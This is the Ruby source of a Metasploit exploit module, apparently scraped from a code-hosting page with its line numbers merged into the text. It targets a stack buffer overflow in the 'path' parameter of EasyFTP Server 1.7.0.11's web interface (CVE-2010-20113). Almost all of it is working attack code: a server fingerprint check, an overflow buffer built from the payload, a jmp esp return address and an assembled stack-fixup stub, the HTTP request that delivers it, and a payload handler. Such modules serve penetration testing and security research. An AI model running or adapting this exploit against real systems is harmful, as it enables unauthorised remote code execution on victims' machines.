Path: blob/master/modules/exploits/windows/http/easyftp_list.rb
23780 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] }910include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'EasyFTP Server list.html path Stack Buffer Overflow',17'Description' => %q{18This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.1119and earlier. EasyFTP fails to check input size when parsing the 'path' parameter20supplied to an HTTP GET request, which leads to a stack based buffer overflow.21EasyFTP allows anonymous access by default; valid credentials are typically22unnecessary to exploit this vulnerability.2324After version 1.7.0.12, this package was renamed "UplusFtp".2526Due to limited space, as well as difficulties using an egghunter, the use of27staged, ORD, and/or shell payloads is recommended.28},29'Author' => [30'ThE g0bL!N', # Original exploit [see References]31'jduck' # Metasploit re-implementation32],33'References' => [34[ 'CVE', '2010-20113' ],35[ 'OSVDB', '66614'],36[ 'EDB', '11500' ]37],38'DefaultOptions' => {39'EXITFUNC' => 'thread'40},41'Privileged' => true,42'Payload' => {43'Space' => 256,44'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c",45'Compat' =>46{47'ConnectionType' => '+ws2ord',48},49},50'Platform' => 'win',51'Targets' => [52[53'Windows XP SP3 - Easy FTP Server Universal',54# NOTE: It's not possible to use addresses within the55# binary due to the nul byte.56{57'Ret' => 0x7cc5d507 # jmp esp in shell32.dll58# 'Ret' => 0xdeadbeef59}60]61],62'DefaultTarget' => 0,63'DisclosureDate' => '2010-02-18',64'Notes' => {65'Reliability' => UNKNOWN_RELIABILITY,66'Stability' => UNKNOWN_STABILITY,67'SideEffects' => UNKNOWN_SIDE_EFFECTS68}69)70)7172register_options(73[74Opt::RPORT(8080),75OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),76OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', '[email protected]'])77]78)79end8081def check82info = http_fingerprint # check method83if info and (info =~ /Easy\-Web Server\//)84return Exploit::CheckCode::Detected85end8687Exploit::CheckCode::Safe88end8990def exploit91if (payload.encoded.length > payload_space)92fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")93end9495# Fix up ESP, jmp to the beginning of the buffer96stub_asm = %q{97mov edi, esp98add esp, 0xfffffc0499add edi, 0xfffffee8100jmp edi101}102stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string103104# Build the path up105path = ''106path << payload.encoded107path << rand_text(268 - path.length)108# NOTE: It's possible to overwrite SEH, however SafeSEH is in effect.109path << [target.ret].pack('V')110path << rand_text(280 - path.length)111path << stub112path << rand_text(332 - path.length)113114uri = "/list.html?path="115uri << path116117print_status("Trying target #{target.name}...")118res = send_request_raw({ 'uri' => uri }, 5)119120if (res)121print_error("The server unexpectedly responded, this is not good.")122print_status(res.to_s)123end124125handler126end127end128129130